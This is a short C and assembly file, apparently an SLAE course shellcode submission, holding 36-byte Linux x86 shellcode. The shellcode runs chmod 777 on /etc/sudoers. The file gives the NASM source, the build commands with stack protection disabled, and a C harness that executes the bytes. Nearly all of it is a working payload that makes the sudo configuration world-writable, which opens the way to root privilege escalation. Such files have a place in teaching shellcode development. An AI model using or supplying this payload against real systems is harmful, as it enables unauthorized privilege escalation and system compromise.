/* ################## Description #################### ; Title : chmod 777 /etc/sudoers - Shellcode ; Author : Hashim Jawad ; Website : ihack4falafel[.]com ; Twitter : @ihack4falafel ; SLAE ID : SLAE-1115 ; Purpose : chmod /etc/sudoers permissions ; OS : Linux ; Arch : x86 ; Size : 36 bytes ################### chmod.nasm ##################### global _start section .text _start: ; push NULL into stack xor edx, edx push edx ; push (/etc/sudoers) into stack push 0x7372656f push 0x6475732f push 0x6374652f ; store ESP pointer in EBX mov ebx, esp ; store octal value of (777) in CX mov cx, 0x1ff ; execute __NR_chmod syscall xor eax, eax mov al, 0xf int 0x80 ; execute __NR_exit syscall xor eax, eax mov al,0x1 int 0x80 ################### chmod binary ##################### nasm -f elf32 -o chmod.o chmod.nasm ld -z execstack -o chmod chmod.o ################### Shellcode ######################## objdump -d chmod -M intel ################## Compile ######################### gcc -fno-stack-protector -z execstack chmod.c -o chmod */ #include #include unsigned char code[] = \ "\x31\xd2\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\xff\x01\x31\xc0\xb0\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }